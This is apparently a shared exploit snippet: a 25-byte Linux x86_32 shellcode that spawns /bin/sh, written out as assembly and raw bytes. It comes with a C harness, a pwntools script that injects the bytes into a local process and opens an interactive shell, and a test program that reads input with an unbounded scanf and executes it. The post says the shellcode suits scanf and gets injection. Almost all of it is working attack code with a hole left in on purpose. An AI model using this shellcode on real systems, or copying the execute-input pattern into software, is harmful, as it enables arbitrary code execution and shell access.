linux x86_32 shellcode.Should work for scanf,gets.

linux-x86_32-shellcode.c

/*

Linux/x86_32 execve /bin/sh shellcode 25 bytes
 
==========================================

[SECTION .text]

global _start

[SECTION .text]

global _start

_start:
    xor    eax,eax
    push   eax
    push   0x68732f2f
    push   0x6e69622f
    mov    ebx,esp
    xor    ecx,ecx
    xor    edx,edx
    mov    al,0xf 
    sub    al,4
    int    0x80

========================================

$ gcc -z execstack -m32 shellcodetest.c -o shellcodetest
$ ./shellcodetest
*/

#include<string.h>
#include<stdio.h>
/*shellcodetest.c*/
int main(int argc, char **argv){
    char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80";
    printf("len:%d\n",strlen(code));  
    int (*func)();
    func = (int (*)()) code;
    (int)(*func)();
}

pwntool-to-input.py

#!/usr/bin/python3

"""
$ python3 pwntool.py 
[+] Starting local process './shellcodetestinput': pid 72555
b'len:25\n'
[*] Switching to interactive mode
$ 

"""

from pwn import *

io = process('./shellcodetestinput')

io.sendline(b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80')

print(io.recvline())

io.interactive()

shellcodetestinput.c

/*
test input by scanf
gcc -z execstack -m32 shellcodetestinput.c -o shellcodetestinput 
 */
#include<stdio.h>
#include<string.h>
int main(int argc,char **argv){
    char code[50];
    //gets(code);
    scanf("%s",code);
    int (*func)();
    printf("len:%d\n",strlen(code));
    func = (int (*)()) code;
    (int)(*func)();
}